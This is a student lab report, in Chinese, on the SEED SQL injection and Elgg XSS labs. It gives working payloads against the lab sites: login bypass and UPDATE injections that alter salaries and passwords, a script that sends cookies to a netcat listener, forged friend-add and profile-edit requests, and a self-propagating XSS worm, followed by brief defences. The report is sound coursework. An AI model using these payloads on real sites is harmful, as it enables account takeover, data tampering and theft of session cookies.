1 实践内容
1.1 Web应用程序体系结构及其安全威胁
1.2 Web应用安全攻防技术概述
1.3 SQL注入
1.4 XSS跨站脚本攻击
2 实践过程
2.1 SEED SQL注入实验
(1)熟悉SQL语句
-
SEED Ubuntu VM 映像中设置了 MySQL。用户名是root,密码是seedubuntu。
-
使用
mysql -u root -pseedubuntu
登录MySQL控制台。
-
登录后,
show databases;
命令查看所有数据库,使用命令use Users;
加载现有数据库。
-
然后使用命令
show tables;
打印所选数据库的所有表,使用命令select * from credential;
来打印所有员工的信息,在这里可以看到员工的ID、姓名、出生日期、工资等信息。
-
使用命令
select * from credential where Name="Alice";
查询雇员Alice的所有配置文件信息。
(2)SELECT语句的SQL注入攻击
来自网页的SQL注入攻击
-
登录www.SEEDLabSQLInjection.com,要求用户提供用户名和密码,只有知道密码的员工才允许登录。目的就是在不知道任何员工凭据的情况下登录到web应用程序。
-
使用
vim /var/www/SQLInjection/unsafe_home.php
命令打开网站对应的文件中存在sql注入攻击的主页unsafe_home.php,找到核心的SQL语句。
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";
$result = $conn -> query($sql);
if(id != NULL) {
if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
- SQL语句是用来从credential表中选择id、name、salary、ssn等个人员工信息。
input uname
用来保存用户在登录页的username
字段中键入的字符串,hashed pwd
保存用户键入的密码的哈希。该程序检查是否有任何记录与提供的用户名和密码匹配;如果有匹配,则用户将成功通过身份验证,并获得相应的员工信息。如果没有匹配项,则验证失败。如果是admin用户获取所有信息。#
在sql语句中代表注释,也就是说如果把#加在上述语句中,其之后的内容在实际过程中不会被执行。如果加载密码之前,也就是不会对密码进行验证,如果我们输入的员工名是admin,那就可以输出所有员工的相关信息。
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #' and Password='$hashed_pwd'
-
所以可以在输入username时,可以构造上述代码。如下。
-
登陆成功,可以看到所有的信息。
来自命令行的SQL注入攻击
- 这里需要用到Linux下的自带工具curl,可以通过指定的URL来上传或下载数据。
- 使用命令
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
(%27 单引号;%20 空格;%23 # ) - 返回了全部员工的信息,攻击成功。
追加新的SQL语句
- 通过sql注入插入或者修改数据,达到修改数据库的效果。
- 在输入username时输入
Admin’; update credential set salary='1' where Name='Alice' #
,使用update语句更新Alice的薪水。
- 原因:在MySQL机制中update不支持合并两个或多个select语句的结果集,并消除重复行。
(2)UPDATE语句的SQL注入攻击
修改自己的工资
-
使用上述的方法
Alice' #
登录Alice的账户,修改工资。 -
进去之后可以看到Alice的相关信息。
-
点击页面上方的Edit Profile进入更新信息页面。
-
vim /var/www/SQLInjection/unsafe_edit_backend.php
打开unsafe_edit_backend.php找到 SQL 语句,查看UPDATE语句。
-
可以看到员工只能修改基本的信息,无权修改工资,这条UPDATE语句也没有进行任何的保护如权限等,那就可以攻击修改salary。
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id
-
在 NickName 如果输入
', salary='9321' where Name='Alice'; #
,则可以把update语句改为UPDATE credential SET nickname='',salary='1000' where Name='Alice'
,可以进行攻击。 -
攻击成功。
修改其他人的工资
- 在不知道其他人密码的情况下修改工资,也可以在Alice修改的界面的Nickname输入
', salary='9999' where name='Samy';#
。 - 登录Boby的账户,工资已经成功修改。
修改其他用户的密码
-
密码在数据库中是以sha1的形式存储,使用指令
echo -n '9321'|sha1sum
输出密码9321的sha1值为549efa6d0268f2092b22eecce248422aa6bc22f
,用此替换Body的密码并登录。
-
继续在Alice的账户操作,在NickName填写:
', Password='549efa6d0268f2092b22eecce248422aa6bc22f' where Name='Boby';#
。 -
使用密码9321成功登陆Boby的账户。
SQL对抗
-
SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。
-
修改在unsafe_home.php中的sql预处理语句。
-
修改unsafe_edit_backend.php中UPDATE语句。
2.2 XSS攻击
- 安装插件HTTP Header Live ,在firefox的 【Tools->add-ons】 中,搜索 HTTP Header Live(搜索过程有点慢)并安装。
- 访问 www.xsslabelgg.com 查看web应用Elgg,利用其XSS漏洞。
(1)发布恶意消息,显示警报窗口
-
在Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
登录alice的账户,密码seedalice。
-
在头像上右键,点击Edit profile,在 Brief description 中插入XSS攻击代码,用于显示一个警告窗口。
<script>
alert('xss');
</script>
-
点击Save保存,弹出提示框。
-
使用另一个用户(Boby,seedboby)登录并查看Alice的profile,【more—>members—>Alice】,会看到警告窗口。
(2)弹窗显示cookie信息
- 在Brief description文本框输入 JS 语句并保存。
<script>
alert(document.cookie);
</script>
-
弹出提示框,并且显示当前的 cookie 信息。
-
同样,使用Boby的帐号查看Alice页面会弹出提示框。
(3)窃取受害者的cookies
- 通过JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。
- 当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。
- JavaScript将cookies发送到攻击者机器的5432端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
- 在Alice编辑页面中的Brief description中输入js语句。
<script>
document.write(’<img src=http://127.0.0.1:5432?c=’+ escape(document.cookie) + ’ >’);
**此处使用本机IP不知道为什么没用**
</script>
- 攻击者执行
nc -l 5432 -v
命令,监听5432端口。其中 -l 指定端口, -v 显示详细信息。 - 当用户访问Alice profile时,打印出Boby用户的cookies。
(4)成为受害者的朋友
-
登录 Alice的账户,然后访问用户 Boby 的主页
-
打开火狐浏览器开发者模式中的 Network 页面
-
点击左侧的Add friend,添加 Boby 为好友,能够看到浏览器发送的 POST 请求的具体内容。
-
添加好友时需要
当前用户的cookies
、__elgg_token
、__elgg_ts
、被添加用户id
。如果要自动添加好友至少需要以上信息,其他信息保持原样即可。 -
将构造的脚本放在 Alice 的About me文本框内,注意文本框选择【Edit HTML模式】,保存。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
- 登录 Boby 访问 Alice 主页,自动添加 Alice 为好友。
(5)修改受害者的信息
-
首先要用 HTTP Header Live 看看修改资料时要做那些事情,使用 Alice 账号登录,点击 Edit profile ,查看发送的指令。
-
编写程序,首先获取了访问者的 &__elgg_token= 、 __elgg_ts 、 &__name=elgg.session.user.name 和页面的其他信息。接下来按照上文的分析构建了请求url,然后通过 XMLHttpRequest 对象构建请求,请求的方式为POST, 并设置请求头和其他信息,通过send函数发送请求。程序中的判断语句的作用是判断是否是 Alice 请求的,如果是则不作修改。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 将上述代码同样放在Alice的about me中,保存后退出,使用 Boby 账号登录,访问Alice的profile,即可成功修改boby的profile。
(6)编写XSS蠕虫
- 使用调用 DOM API 的方法,首先我们开始编写代码,结合上一个任务的代码就可以编写出一个蠕虫病毒。同样将它放入 Alice 的 About me 中。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
-
使用 Boby 登录,并访问 Alice 的主页,发现被感染。
-
同样使用 Samy 访问 Boby 的主页,也被感染。
(7)对抗XSS攻击
Elgg本身已经提供对抗XSS攻击的插件,可以利用管理员账户进行登录,找到 Account -> administration -> plugins ,并且找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。还有一种方式是在代码中调用 htmlspecialchars() 方法,主要是对特殊字符进行编码,也可以防范XSS攻击问题。
3 学习中遇到的问题及解决
- 问题:seedubuntu不能进行复制粘贴
问题解决:安装tools,挂载共享文件夹。
4 总结
学习过JS和SQL,学习难度相对比较小,但是编写还是有点难。思路不是很清晰。